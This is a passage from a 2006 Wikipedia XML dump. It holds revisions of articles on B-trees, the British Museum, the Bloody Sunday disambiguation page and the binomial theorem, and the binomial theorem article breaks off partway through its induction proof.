    <revision>
      <id>41536971</id>
      <timestamp>2006-02-28T00:34:35Z</timestamp>
      <contributor>
        <ip>24.218.204.10</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Btree.png|thumb|400px|right|A simple example linking the keys 1-7 to data values d&lt;sub&gt;1&lt;/sub&gt;-d&lt;sub&gt;7&lt;/sub&gt;. Note the linked list (red) allowing rapid in-order traversal.]] In [[Computer Science|computer science]], '''B-trees''' are [[tree data structure]]s that are most commonly found in [[database]]s and [[filesystem]]s. B-trees keep data sorted and allow [[amortized analysis|amortized]] logarithmic time insertions and deletions. 

The idea behind B-trees is that internal nodes can have a variable number of child nodes within some pre-defined range. As data is inserted or removed from the data structure, the number of child nodes varies within a node and so internal nodes are coalesced or split so as to maintain the designed range. Because a range of child nodes is permitted, B-trees do not need re-balancing as frequently as other [[self-balancing binary search tree]]s, but may waste some space, since nodes are not entirely full. The lower and upper bounds on the number of child nodes are typically fixed for a particular implementation. For example, in a 2-3 B-tree (often simply '''2-3 tree'''), each internal node may have only 2 or 3 child nodes.

A B-tree is kept balanced by requiring that all leaf nodes are at the same depth. This depth will increase slowly as elements are added to the tree, but an increase in the overall depth is infrequent, and results in all leaf nodes being one more hop further removed from the root.

B-trees have substantial advantages over alternative implementations when node access times far exceed access times within nodes.  This usually occurs when most nodes are in [[secondary storage]] such as [[hard drive]]s.  By maximizing the number of [[child node]]s within each [[internal node]], the height of the tree decreases, balancing occurs less often, and efficiency increases. Usually this value is set such that each node takes up a full [[Block size (data storage and transmission)|disk block]] or an analogous size in secondary storage. While 2-3 B-trees might be useful in main memory, and are certainly easier to explain, if the node sizes are tuned to the size of a disk block, the result might be a 129-513 B-tree.

The B-tree's creator, [[Rudolf Bayer]], has not explained what the ''B'' stands for. The most common belief is that ''B'' stands for ''balanced'', as all the leaf nodes are at the same level in the tree. ''B'' may also stand for ''Bayer'', or for [[Boeing]], because he was working for ''Boeing Scientific Research Labs''.

== Node structures ==

Each internal node's elements act as separation values which divide its [[subtree]]s. For example, if an internal node has three child nodes (or subtrees) then it must have two separation values or elements ''a''&lt;sub&gt;1&lt;/sub&gt; and ''a''&lt;sub&gt;2&lt;/sub&gt;. All values in the leftmost subtree will be less than ''a''&lt;sub&gt;1&lt;/sub&gt; , all values in the middle subtree will be between ''a''&lt;sub&gt;1&lt;/sub&gt; and ''a''&lt;sub&gt;2&lt;/sub&gt;, and all values in the rightmost subtree will be greater than ''a''&lt;sub&gt;2&lt;/sub&gt;.

Internal nodes in a B-Tree — nodes which are not leaf nodes — are usually represented as an ordered set of elements and child pointers. Every internal node contains a maximum of ''U'' children and — other than the root — a minimum of ''L'' children.  For all internal nodes other than the root, the number of elements is one less than the number of child pointers; the number of elements is between ''L-1'' and ''U-1''. 

Leaf nodes have the same restriction on the number of elements, but have no children, and no child pointers.

The root node still has the upper limit on the number of children, but has no lower limit. For example, when there are fewer than ''L-1'' elements in the entire tree, the root will be the only node in the tree, and it will have no children at all.

A B-tree of depth ''n+1'' can hold about ''U'' times as many items as a B-tree of depth ''n'', but the cost of search, insert, and delete operations grows with the depth of the tree. As with any balanced tree, the cost grows much more slowly than the number of elements.

Some balanced trees store values only at the leaf nodes, and so have different kinds of nodes for leaf nodes and internal nodes. B-trees keep values in every node in the tree, and may use the same structure for all nodes. However, since leaf nodes never have children, a specialized structure for leaf nodes in B-trees will improve performance.

== Algorithms ==

=== Search ===

Search is performed in the typical manner, analogous to that in a [[binary search tree]]. Starting at the root, the tree is traversed top to bottom, choosing the child pointer whose separation values are on either side of the value that is being searched.
[[Binary search]] is typically used within nodes to find the separation values and child tree of interest.

=== Insertion ===

All insertions happen at the leaf nodes. 

* By searching the tree, find the leaf node where the new element should be.
* If the leaf node contains fewer than ''U-1'' elements, there is room for one more. Insert the new element in the node, keeping the node's elements ordered.
* Otherwise the leaf node must be split. Typically, a single median is chosen from among the leaf's elements and the new element. The values less than the median are put in the new left node and the values greater than the median are put in the new right node, with the median acting as a separation value. That separation value needs to be added to the node's parent, which may cause it to be split, and so on. If the splitting goes all the way up to the root, it will create a new root with a single separator value and two children, which is why the lower bound on the size of internal nodes does not apply to the root.

=== Deletion ===

There are two problems with deleting elements: first, the element in an internal node may be acting as a seperator for its child nodes, and second, deleting an element may put it under the minimum number of elements and children. Each of the problems will be delt with in order.

==== Deletion From a Leaf Node ====

*Search for the value to delete.
*If the value is in a leaf node, it can simply be deleted from the node, perhaps leaving the node with too few elements.

==== Deletion From an Internal Node ====

Each element in an internal node acts as a separation values for two subtrees, and when that element is deleted a new separator for those subtrees must be found. But note that of the largest element in the left subtree is the largest element which is still less than the separator. Likewise, the smallest element in the right subtree is the smallest element which is still greater than the separator. Both of those elements are in leaf nodes, and either can be the new separator for the two subtrees.

*If the value is in an internal node, choose a new separator (either the largest element in the left subtree or the smallest element in the right subtree), remove it from the leaf node it is in, and replace the element to be deleted with the new separator.
*This has deleted an element from a leaf node, and so is now equivalent to the previous case.

==== Rebalancing After Deletion ====

If deleting an element from a leaf node has brought it under the minimum size, some elements must be redistributed to bring all nodes up to the minimum. In some cases the rearrangement will move the deficency to the parent, and the redistribution must be applied iteratively up the tree, perhaps even to the root. Since the minimum element count doesn't apply to the root, making the root be the only deficient node is not a problem.

The strategy is to find a sibling of the deficient node which has more than the minimum number of elements and redistribute elements among the siblings so that all have more than the minimum. This will change the separators in the siblings' parent node as well.

*If the sibling node immediately to the right of the deficient node has more than the minimum number of elements, choose the median of the separator and the values in both nodes as the new separator and put that in the parent.
*Redistribute the remaining elements to the right and left children. 
*Redistribute the subtrees of the two nodes to parallel the redistribution of the elements. The subtrees themselves are transplanted entirely, and are not altered if moved to a different parent node, and this can be done as the elements are redistributed.
*If the sibling node immediately to the right of the deficient node has only the minimum number of elements, examine the sibling node immediately to the left.
*If both immediate siblings have only the minimum number of elements, create a new node with all the elements from the deficient node, all the elements from one of its siblings, and the separator in the parent between the two combined sibling nodes.
*Remove the separator from the parent, and replace the two children it separated with the combined node.
*If that brings the number of elements in the parent under the minimum, repeat these steps with that deficient node, unless it is the root, since the root may be deficient.

== Notes ==

Suppose ''L'' is the least number of children a node is allowed to have, while ''U'' is the greatest number. Then each node will always have between ''L'' and ''U'' children, inclusively, with one exception: the root node may have anywhere from ''2'' to ''U'' children inclusively. In other words, the root is exempt from the lower bound restriction. This allows the tree to hold small numbers of elements. The root having one child makes no sense, since the subtree attached to that child could simply be attached to the root. Giving the root no children is also unnecessary, since a tree with no elements is typically represented as having no root node.

=== Multi-way Combining and Splitting ===

There is no reason inherent in the algorithm why when trying to find extra elements for a deficient node it would first try the right sibling, then the left, and then take the separator value from the parent. It's certainly possible to examine other siblings, and if one has more than the minimum number of values rearrange values across a larger number of siblings to make up the deficit in one.

Similarly, when a node is split there is no inherent reason why extra elements might not be moved to nearby, less populated siblings, or why the split can't involve a number of siblings, redistributing elements among them rather than splitting a node.

In practice, the most common use of B-trees involves keeping the nodes on secondary storage, where it's slow to access a node which is not already being used. Using only two-ways splits and combines helps decrease the number of nodes needed for many common situations, but may be useful in others.

=== Relationship between ''U'' and ''L'' ===

It is almost universal to split nodes by choosing a single median and creating two new nodes. This constrains the relationship between ''L'' and ''U''. Trying to insert an element into a node with ''U'' children — and thus ''U-1'' elements — involves redistributing ''U'' elements. One of these, the median, will move to the parent, and the remained will be split as equally as possible among the two new nodes. 

In a 2-3 B-tree, for example, adding an element to a node with three child nodes, and thus two seperator values, involves three values — the two separators and the new value. The median will become the new separator in the parent, and each of the other two will become the sole elements in nodes with one value and two children.  Generally, if ''U'' is odd, each of the two new nodes will have ''(U+1)/2'' children. If ''U'' is even, one will have ''U/2'' children and the other ''U/2+1''.

If full nodes are split into exactly two nodes, ''L'' must be small enough to allow for the sizes after a node is split. But it's possible to split full nodes into more than two new nodes. Choosing to split a node into more than two nodes would require a lower value of ''L'' for the same value of ''U''.

As ''L'' gets smaller, it allows for more unused space in the nodes. This might decrease the frequency of node splitting, but it is also likely to increase the amount of memory needed to store the same number of values, and the number of nodes that have to be examined for any particular operation.

=== Theoretical results ===

[[Robert Tarjan]] proved that the amortized number of splits/merges is 2.

== See also ==

* [[B+ tree]]
* [[B*-tree]]
* [[binary tree]]
* [[dancing tree]]
* [[skip list]]

== References ==
''Original papers:''
*[[Rudolf Bayer]], ''Binary B-Trees for Virtual Memory'', ACM-SIGFIDET Workshop [[1971]], San Diego, California, Session 5B, p. 219-235. 
*[[Rudolf Bayer]] and [[Edward M. McCreight|McCreight, E. M.]] ''Organization and Maintenance of Large Ordered Indexes.'' [[Acta Informatica]] 1, 173-189, [[1972]].
''Summary:''
* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 3: ''Sorting and Searching'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89685-0. Section 6.2.4: Multiway Trees, pp.481&amp;ndash;491. Also, pp.476&amp;ndash;477 of section 6.2.3 (Balanced Trees) discusses 2-3 trees.
* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Chapter 18: B-Trees, pp.434&amp;ndash;454.

== External links ==
* [http://www.cse.ohio-state.edu/~bondhugu/acads/234-tree/index.shtml Animation of a 2-3-4 Tree]
* http://www.bluerwhite.org/btree
* [http://slady.net/java/bt/ B-Tree animation (Java Applet)]
* [http://www.nist.gov/dads/HTML/btree.html NIST's Dictionary of Algorithms and Data Structures: B-tree]
* [http://www.semaphorecorp.com/btp/algo.html B-tree algorithms]
* [http://www.semaphorecorp.com/btp/var.html B-tree variations]
* [http://textelectric.net/btree.html Source code for a balanced tree (B-tree) (Windows required for test timings)]

* [http://www.iyte.net B-tree algorithms in İYTE]

[[Category:Trees (structure)]]

[[de:B-Baum]]
[[es:Árbol-B]]
[[fr:Arbre B]]
[[ko:B-트리]]
[[lt:B-medis]]
[[ja:B木]]
[[pl:B-drzewo]]
[[pt:Árvore B]]
[[sv:B-träd]]
[[zh:B树]]</text>
    </revision>
  </page>
  <page>
    <title>British Museum</title>
    <id>4675</id>
    <revision>
      <id>41362613</id>
      <timestamp>2006-02-26T21:34:30Z</timestamp>
      <contributor>
        <username>Ham</username>
        <id>80913</id>
      </contributor>
      <minor />
      <comment>Reduced Reading Room pic: 600px better suited to [[British Museum Reading Room]] article in my opinion</comment>
      <text xml:space="preserve">[[Image:british_museum_facade.jpg|thumb|right|The main entrance to the British Museum.]]
[[Image:British Museum Great Court roof.jpg|thumb|right|The centre of the museum was redeveloped in [[2000]] to become the Great Court, with a [[tessellation|tessellated]] glass roof by [[Foster and Partners]] surrounding the original [[British Museum Reading Room|Reading Room]].]]
The '''British Museum''' in [[London]] is the [[United Kingdom]]'s &amp;ndash; and one of the world's &amp;ndash; largest and most important [[museum|museums]] of human [[history]] and [[culture]]. The oldest  museum in the world, it was established in [[1753]] and was based largely on the collections of the physician and scientist [[Sir Hans Sloane]]. The museum first opened to the public on [[January 15]], [[1759]] in [[Montagu House, Bloomsbury|Montagu House]] in [[Bloomsbury, London|Bloomsbury]], on the site of the current museum building.

The British Museum is home to over seven million objects from all continents illustrating and documenting the story of human culture from its beginning to the present. Many of the artifacts are stored underneath the museum due to lack of space.

The present chairman is Sir [[John Boyd (ambassador)|John Boyd]] and its director is [[Neil MacGregor]].

The British Museum, like the other main museums and art galleries in London, charges no admission fee. Admission charges, however, are levied for some temporary special exhibitions.

The British Museum offers a range of learning experiences for everyone including schools, families and adults, one of which is a [[Postgraduate Diploma]] that focuses on the classical and decorative arts of Asia. 

==History==
Though principally a museum of cultural art objects and antiquities, today, the British Museum was founded as a 'universal museum'. This is reflected in the first bequest by Sir [[Hans Sloane]], comprising some 40,000 printed books, 7,000 manuscripts, extensive natural history specimens, prints by [[Albrecht Dürer]] and antiquities from [[Ancient Egypt|Egypt]], [[Ancient Greece|Greece]], [[Ancient Rome|Rome]], the [[Middle East|Middle]] and [[Far East]] and the [[Americas]]. The Foundation Act, passed on [[June 7]] [[1753]], added two other libraries to the Sloane collection. The Cottonian Library, assembled by Sir Robert Cotton, dated back to Elizabethan times and the Harleian library was the collection of the first and second Earls of [[Oxford]]. They were joined in [[1757]] by the Royal Library assembled by various British monarchs. Together these four 'Foundation collections' included many of the most treasured books now in the [[British Library]], including the [[Lindisfarne Gospels]] and the sole surviving copy of ''[[Beowulf]].&quot;

The body of Trustees (which until [[1963]] was headed by the [[Archbishop of Canterbury]], the [[Lord Chancellor]] and the [[Speaker of the British House of Commons|Speaker of the House of Commons]]) decided on [[Montagu House, Bloomsbury|Montagu House]] as a location for the museum, which it bought from the Montagu family for £20,000. The Trustees rejected Buckingham House, on a site now occupied by [[Buckingham Palace]], on the grounds of cost and the unsuitability of its location.

After its foundation the British Museum received several gifts, including the Thomason Library and [[David Garrick]]'s library of 1,000 printed plays, but had few ancient relics and would have been unrecognisable to visitors of the modern museum. The first notable addition to the collection of antiquities was by Sir [[William Hamilton (diplomat)|William Hamilton]], British Ambassador to [[Naples]], who sold his collection of [[Ancient Greece|Greek]] and [[Ancient Rome|Roman]] artifacts to the museum in 1782. In the early [[19th century]] the foundations for the extensive collection of sculpture began to be laid. After the defeat of the [[France|French]] in the [[Battle of the Nile]] in [[1801]] the British Museum acquired more Egyptian sculpture and the [[Rosetta Stone]]. Many Greek sculptures followed, notably the Towneley collection in 1805 and the infamous [[Elgin Marbles]] in 1816.

The collection soon outgrew its surroundings and the situation became urgent with the donation in [[1822]] of [[George III of Great Britain|King George III]]'s personal library of 65,000 volumes, 19,000 pamphlets, maps, charts and topographical drawings to the museum. The dilapidated Old Montagu House was demolished in 1845 and replaced by a design by the [[Neoclassicism|neoclassical]] architect Sir [[Robert Smirke (architect)|Robert Smirke]].

[[Image:British Museum Reading Room Panorama Feb 2006.jpg|thumb|right|300px|The circular [[British Museum Reading Room|Reading Room]].]]
Roughly contemporary with the construction of the new building was the career of a man sometimes called the 'second founder' of the British Museum, the Italian librarian [[Antonio Panizzi]]. Under his supervision the British Museum Library quintupled in size and became a well-organised institution worthy of being called a national library. The [[quadrangle]] at the centre of Smirke's design proved to be a waste of valuable space and was filled at Panizzi's request by a circular [[British Museum Reading Room|Reading Room]] of [[cast iron]], designed by Smirke's son, [[Sydney Smirke]]. 

The natural history collections were an integral part of the British Museum until their removal to the new British Museum (Natural History), now the [[Natural History Museum]], in [[1887]]. The [[ethnography]] collections were until recently housed in the short-lived [[Museum of Mankind]] in [[Piccadilly]]; they have now returned to Bloomsbury and the Department of Ethnography has been renamed the Department of [[Africa]], [[Oceania]] and the [[Americas]].

The temporary exhibition ''Treasures of [[Tutankhamun]]'', held by the British Museum in [[1972]], was the most successful in British history, attracting 1,694,117 visitors. In the same year the [[Act of Parliament]] establishing The [[British Library]] was passed, separating the collection of [[manuscripts]] and printed books from the British Museum. The Government suggested a site at [[St Pancras]] for the new British Library but the books did not leave the museum until 1997.

With the bookstacks in the central courtyard of the museum now empty, the process of demolition for [[Sir Norman Foster]]'s glass-roofed Great Court could begin. The Great Court, opened in [[2000]], while undoubtedly improving circulation around the museum, was criticised for having a lack of exhibition space at a time when the museum was in serious financial difficulties and many galleries were closed to the public. In [[2002]] the museum was even closed for a day when its staff protested about proposed redundancies. A few weeks later the theft of a small Greek statue was blamed on lack of security staff.

==Criticisms==
[[Image:Elgin Marbles east pediment.jpg|thumb|right|A few of the [[Elgin Marbles]] from the East [[Pediment]] of the [[Parthenon]].]]
It is a point of controversy whether museums should be allowed to possess artifacts taken from other countries, and the British Museum is a notable target for criticism. The [[Elgin Marbles]] and the [[Benin Bronzes]] are among its most disputed collections, and organisations have been formed demanding the return of both sets of artifacts to their native countries of [[Greece]] and [[Nigeria]] respectively.

The British Museum has refused to return either set, or any of its other disputed items, stating that the &quot;restitutionist premise, that whatever was made in a country must return to an original geographical site, would empty both the British Museum and the other great museums of the world&quot;.[http://www.thebritishmuseum.ac.uk/gr/andart.html] The Museum has also argued that the British Museum Act of 1963 legally prevents it from selling any of its valuable artifacts, even the ones not on display. Critics have particularly argued against the right of the British Museum to own objects which it does not share with the public.

Supporters of the Museum claim that it has provided protection for artifacts that may have otherwise been damaged or destroyed if they had been left in their original environments. While some critics have accepted this, they also argue that the artifacts should now be returned to their countries of origin if there is sufficient expertise and desire there to preserve them. The British Museum has also argued that its objects benefit from their setting, where they can be seen for free alongside other artifacts from all over the world, although a counter-argument is that the objects would be better displayed in their native countries, closer to their original context.

The British Museum continues to assert that it is an appropriate custodian and has an inalienable right to its disputed artifacts under British law, while opponents of the Museum criticise it for theft, and what is perceived to be a cavalier attitude towards the property rights of other cultures.

[[Image:British Museum Great Hall.jpg|thumb|right|Inside the main entrance: The Great Court]]

== The building ==
The [[Greek Revival]] façade facing Great Russell Street is a characteristic building of Sir Robert Smirke in the [[Ionic order]]. The [[pediment]] over the main entrance is decorated by scultptures by Sir [[Richard Westmacott]] depicting ''The Rise of Civilisation'', installed in 1852.

The [[Joseph Duveen, 1st Baron Duveen of Millbank|Duveen]] Gallery housing the Elgin Marbles was designed by [[John Russell Pope]], architect of the [[Jefferson Memorial]] in [[Washington, DC]]. Although completed in 1938 it was hit by a bomb in 1940 and remained semi-derelict for 22 years before reopening in 1962.

The Queen [[Elizabeth II]] Great Court is a covered square at the centre of the British Museum designed by the architects [[Foster and Partners]]. The Great Court opened in December [[2000]] and is the largest covered square in Europe.  The roof is a glass and steel construction with 1,656 pairs of uniquely shaped glass panes. At the centre of the Great Court is the Reading Room vacated by the [[British Library]], its functions now moved to St Pancras. The Reading Room is open to any member of the public who wishes to read there.

==The collections==
[[Image:British_Museum_int-250px.jpg|thumb|180px|The Egyptian sculpture galleries]]
[[Image:Elgin horse.jpg|thumb|180px|right|Parthenon Horses{{3d_glasses}}]]

The British Museum of today is primarily a museum of antiquities and ethnography. Lack of space has meant that it has had to shed its collections of natural history and books, but it still claims the mantle of 'universal museum'. The permanent exhibition on the [[The Age of Enlightenment|Enlightenment]] in the King's Library gives some idea of the original scope of the museum.

In London the main collections of Western [[fine art]] and global applied art are housed in the independent [[National Gallery, London|National Gallery]] and [[Victoria and Albert Museum]]s, respectively. However, the British Museum retains its Department of Prints and Drawings, which includes a [[cartoon]] by [[Michelangelo]] and many other works of artistic merit.

Highlights of the collections include:

*The [[Elgin Marbles]], carvings from the Athenian [[Parthenon]] 
*The [[Portland Vase]]
*The [[Rosetta Stone]]
*The [[Marc Aurel Stein|Stein collection]] from [[Central Asia]]
*The Clock Room
*Works by [[Albrecht Dürer]]: 1 volume of sketches and 4 volumes of manuscripts
*[[Egypt]]ian [[Mummy|Mummies]]
*The [[Benin Bronzes]]
*The [[Cyrus Cylinder]] and many other [[Iran|Persian]] artifacts
*[[Anglo-Saxon]] artifacts from the [[Sutton Hoo]] burial
*The [[Lewis chessmen|Lewis Chessmen]]
*The [[Mold, Flintshire|Mold]] cape (a [[Bronze age]] [[gold]] ceremonial cape)
*The [[basalt]] statue Hoa Hakananai'a from [[Easter Island]]
*The echo in the reading room, which [[Gerard Hoffnung]] recommended

The notorious Cupboard 55 in the Department of Medieval and Later Antiquities, inaccessible by the public and known as '[[the Secretum]]', has a reputation for containing some of the most erotic objects in the British Museum. Though claiming to be from ancient cultures, many of the objects are Victorian fakes and are deemed unfit for public display on grounds of quality, rather than because of their supposed obscenity.

==Information==
&lt;!-- Unsourced image removed: [[Image:BM_Bronze_handling.jpg|thumb|right|Diploma in Asian Art classroom]] --&gt;
Admission to the British Museum is free, except for special exhibitions within the main museum.

Location
:Great Russell Street
:London WC1B 3DG
:Coordinates: {{Coor d|51.5186|N|0.126|W|type:landmark_scale:2000}}

Nearest [[London Underground]] stations: 

* [[Tottenham Court Road tube station|Tottenham Court Road]] ([[Central Line|Central]], [[Northern Line|Northern]] lines)
* [[Holborn tube station|Holborn]] (Central, [[Piccadilly Line|Piccadilly]] lines)
* [[Russell Square tube station|Russell Square]] (Piccadilly line)

Between 1908 and 1933 there was a [[British Museum tube station|British Museum station]] on the London Underground between Tottenham Court Road and Holborn stations. The platforms of this 'ghost station' are still visible from trains passing between the two stations.

The British Museum, and especially the [[British Museum Reading Room|Reading Room]], is a recurring setting in [[David Lodge (author)|David Lodge]]'s [[1965 in literature|1965]] novel ''[[The British Museum Is Falling Down]]''.

The British Museum is also seen in ''The Mummy Returns''

==Galleries==
===Joseph E. Hotung Gallery (Asia)===
&lt;gallery&gt;
Image:IndusValleySeals.JPG|Seals of the [[Indus Valley Civilization]].
Image:MathuraLionCapital.JPG|The [[Indo-Scythian]] [[Mathura lion capital]], 1st century CE.
Image:6thPillarOfAshoka.JPG|Fragment of the 6th Pillar [[Edicts of Ashoka|Edict of Ashoka]] (238 BCE), in [[Brahmi]], sandstone.
Image:KanishkaCasket.JPG|The [[Kanishka casket]], dated to [[127|127 CE]], with the [[Buddha]] surrounded by [[Brahma]] and [[Indra]]. 
Image:CrystalGoose.JPG|A [[Hamsa bird|Hamsa]] sacred goose [[reliquary]], [[Gandhara]], 1st century CE. 
Image:BimaranCasket.JPG|The [[Bimaran casket]], Gandhara, 1st century CE.
Image:EmaciatedBuddha.JPG|The [[Buddha]] as an ascetic. [[Gandhara]], 2-3rd century CE.
&lt;/gallery&gt;

===Hellenistic galleries===
&lt;gallery&gt;
Image:ScythianArchers.JPG|Gold clothing appliqué, showing two [[Scythian]] archers, 400-350 BCE. Probably from Kul Oba, [[Crimea]].
Image:PalmyraWoman.JPG|Funerary bust of a woman. [[Palmyra]]. Mid-late 2nd century CE.
&lt;/gallery&gt;

== External links ==
{{Spoken Wikipedia|En-british_museum.ogg|2006-01-14}}
{{Commons|British Museum}}
* [http://the.british.museum/ Official website of '''The British Museum''']
* [http://www.thebritishmuseum.ac.uk/visit/datelist.html A list of important dates in the British museum's history from the official website]
* [http://www.thebritishmuseum.ac.uk/education/asia/diploma.html '''Diploma in Asian Art, The British Museum''' from the official website]

{{London museums}}

&lt;!--needs to be in all three because it has many exhibits which are not art--&gt;

[[Category:Art museums and galleries in London]]
[[Category:Museums in London]]
[[Category:National museums]]
[[Category:Archaeology museums]]
[[Category:Camden]]
[[Category:Public bodies and task forces of the United Kingdom government]]
[[Category:Grade I listed buildings in London]]

[[ar:المتحف البريطاني]]
[[ca:Museu Britànic]]
[[de:Britisches Museum]]
[[eo:Brita Muzeo]]
[[es:Museo Británico]]
[[fr:British Museum]]
[[he:המוזיאון הבריטי]]
[[nl:British Museum]]
[[ja:大英博物館]]
[[it:British Museum]]
[[no:British Museum]]
[[pt:Museu Britânico]]
[[ru:Британский музей]]
[[sl:Britanski muzej]]
[[fi:British Museum]]
[[sv:British Museum]]
[[zh:大英博物馆]]</text>
    </revision>
  </page>
  <page>
    <title>Bloody Sunday</title>
    <id>4676</id>
    <revision>
      <id>41866390</id>
      <timestamp>2006-03-02T06:04:01Z</timestamp>
      <contributor>
        <username>Valip</username>
        <id>219754</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Bloody Sunday''' can refer to any of the following historical events (in chronological order):

*[[Bloody Sunday (1887)]], violence in [[London]] on [[13 November]] [[1887]].
*[[Bloody Sunday (1900)]], a day of high casualties in the [[Second Boer War]] on [[18 February]] [[1900]].
*[[Bloody Sunday (1905)]], massacre in [[Saint Petersburg]] on [[22 January]] [[1905]].
*[[Bloody Sunday (1913)]], violence in [[Dublin]] on [[31 August]] [[1913]] during the [[Dublin Lockout]]
*[[Bloody Sunday (1920)]], violence in [[Dublin]] on [[21 November]] [[1920]].
*[[Bromberg Bloody Sunday]], said to have taken place in [[Bydgoszcz]] on [[3 September]] [[1939]].
*[[Bloody Sunday (1939)]], during the [[Siege of Warsaw]], [[10 September]] [[1939]] 
*[[Selma to Montgomery marches#Bloody Sunday - the first march|Bloody Sunday (1965]]): Violence during the [[Selma to Montgomery marches]] on [[7 March]] [[1965]]
*[[Bloody Sunday (1972)]], violence in [[Londonderry]] on [[30 January]] [[1972]]. '''Most commonly used'''

*''[[Bloody sunday (film)|Bloody Sunday]]'' is also the name of a [[2002]] movie depicting the events of [[Bloody Sunday (1972)]].

== See also==
* [[Black Sunday]]
* [[Bloody Friday]]
* [[Sunday Bloody Sunday]]

{{disambig}}

[[Category:Sunday]]

[[de:Blutsonntag]]
[[es:Domingo Sangriento]]
[[hr:Krvava nedjelja]]
[[it:Bloody Sunday]]
[[ja:血の日曜日事件]]
[[ko:피의 일요일]]
[[nl:Bloody Sunday]]
[[pl:Krwawa niedziela]]
[[ro:Duminica însângerată]]</text>
    </revision>
  </page>
  <page>
    <title>Binomial theorem</title>
    <id>4677</id>
    <revision>
      <id>39695496</id>
      <timestamp>2006-02-15T05:10:14Z</timestamp>
      <contributor>
        <username>LouScheffer</username>
        <id>639456</id>
      </contributor>
      <minor />
      <comment>/* Trivia */   Added names</comment>
      <text xml:space="preserve">:''For other topics using the name &quot;binomial&quot;, see [[binomial (disambiguation)]].''

In [[mathematics]], the '''binomial theorem''' is an important [[formula]] giving the expansion of [[exponentiation|power]]s of [[sum]]s. Its simplest version reads

:&lt;math&gt;(x+y)^n=\sum_{k=0}^n{n \choose k}x^ky^{n-k}\quad\quad\quad(1)&lt;/math&gt;

whenever ''n'' is any non-negative integer, the numbers

:&lt;math&gt;{n \choose k}=\frac{n!}{k!(n-k)!}&lt;/math&gt;

are the [[binomial coefficient]]s, and &lt;math&gt;n!&lt;/math&gt; denotes the [[factorial]] of ''n''. 

This formula, and the [[Pascal's triangle|triangular arrangement of the binomial coefficients]], are often attributed to [[Blaise Pascal]] who described them in the [[17th century]]. It was, however, known to Chinese mathematician [[Yang Hui]] in the [[13th century]]. The Persian mathematician [[Omar Khayyám]] may have been the first to discover it. 

For example, here are the cases ''n''&amp;nbsp;=&amp;nbsp;2, ''n''&amp;nbsp;=&amp;nbsp;3 and ''n''&amp;nbsp;=&amp;nbsp;4:
:&lt;math&gt;(x + y)^2 = x^2 + 2xy + y^2\,&lt;/math&gt;
:&lt;math&gt;(x + y)^3 = x^3 + 3x^2y + 3xy^2 + y^3\,&lt;/math&gt;
:&lt;math&gt;(x + y)^4 = x^4 + 4x^3y + 6x^2y^2 + 4xy^3 + y^4.\,&lt;/math&gt;

Formula (1) is valid for all [[real number|real]] or [[complex number|complex]] numbers ''x'' and ''y'', and more generally for any elements ''x'' and ''y'' of a [[semiring]] as long as ''xy''&amp;nbsp;=&amp;nbsp;''yx''.

==Newton's generalized binomial theorem==

[[Isaac Newton]] generalized the formula to other exponents by considering an [[infinite series]]:

:&lt;math&gt;{(x+y)^r=\sum_{k=0}^\infty {r \choose k} x^k y^{r-k}\quad\quad\quad(2)}&lt;/math&gt;

where ''r'' can be any [[complex number]] (in particular ''r'' can be any real number, not necessarily positive and not necessarily an integer), and the coefficients are given by 

:&lt;math&gt;{r \choose k}={1 \over k!}\prod_{n=0}^{k-1}(r-n)=\frac{r(r-1)(r-2)\cdots(r-(k-1))}{k!}\,&lt;/math&gt;

In case ''k''&amp;nbsp;=&amp;nbsp;0, this is a [[empty product|product of no numbers at all]] and therefore equal to 1, and in case ''k'' = 1 it is equal to ''r'', as the additional factors (''r''&amp;nbsp;&amp;minus;&amp;nbsp;1), etc., do not appear.

Another way to express this quantity is

:&lt;math&gt;{r \choose k}=\frac{(-1)^k}{k!}(-r)_k,&lt;/math&gt;

which is important when one is working with infinite series and would like to represent them in terms of [[generalized hypergeometric function]]s. The notation &lt;math&gt;(\cdot)_k&lt;/math&gt; is the [[Pochhammer symbol]]. This form is vital in applied mathematics, for example, when evaluating the formulas that model the statistical properties of the phase-front curvature of a light wave as it propagates through optical atmospheric turbulence. 

A particularly handy but non-obvious form holds for the reciprocal power: 
:&lt;math&gt;\frac{1}{(1-x)^r}=\sum_{k=0}^\infty {r+k-1 \choose k} x^k \equiv \sum_{k=0}^\infty {r+k-1 \choose r-1} x^k.&lt;/math&gt;

For a more extensive account of Newton's generalized binomial theorem, see [[binomial series]].

The sum in (2) converges and the equality is true whenever the real or complex numbers ''x'' and ''y'' are &quot;close together&quot; in the sense that the [[absolute value]] |&amp;nbsp;''x/y''&amp;nbsp;| is less than one.

The [[geometric series]] is a special case of (2) where we choose ''y''&amp;nbsp;=&amp;nbsp;1 and ''r''&amp;nbsp;=&amp;nbsp;&amp;minus;1.

Formula (2) is also valid for elements ''x'' and ''y'' of a [[Banach algebra]] as long as ''xy''&amp;nbsp;=&amp;nbsp;''yx'', ''y'' is invertible and ||''x/y''|| &lt; 1.

==&quot;Binomial type&quot;==

The binomial theorem can be stated by saying that the [[polynomial sequence]]

:&lt;math&gt;\left\{\,x^k:k=0,1,2,\dots\,\right\}\,&lt;/math&gt;

is of [[binomial type]].

==A proof==

We use [[mathematical induction]].  When ''n'' = 0, we have

:&lt;math&gt; (a+b)^0 = 1 = \sum_{k=0}^0 { 0 \choose k } a^{0-k}b^k.&lt;/math&gt;

For the inductive step, assume the theorem holds when the exponent is &lt;math&gt;m&lt;/math&gt;. Then for &lt;math&gt;n=m+1&lt;/math&gt;,

:&lt;math&gt; (a+b)^{m+1} = a(a+b)^m + b(a+b)^m&lt;/math&gt; 	 

::&lt;math&gt; = a \sum_{k=0}^m { m \choose k } a^{m-k} b^k + b \sum_{j=0}^m { m \choose j } a^{m-j} b^j&lt;/math&gt;    by the inductive hypothesis 	 

::&lt;math&gt; = \sum_{k=0}^m { m \choose k } a^{m-k+1} b^k + \sum_{j=0}^m { m \choose j } a^{m-j} b^{j+1}&lt;/math&gt;    by multiplying through by &lt;math&gt;a&lt;/math&gt; and &lt;math&gt;b&lt;/math&gt; 	 

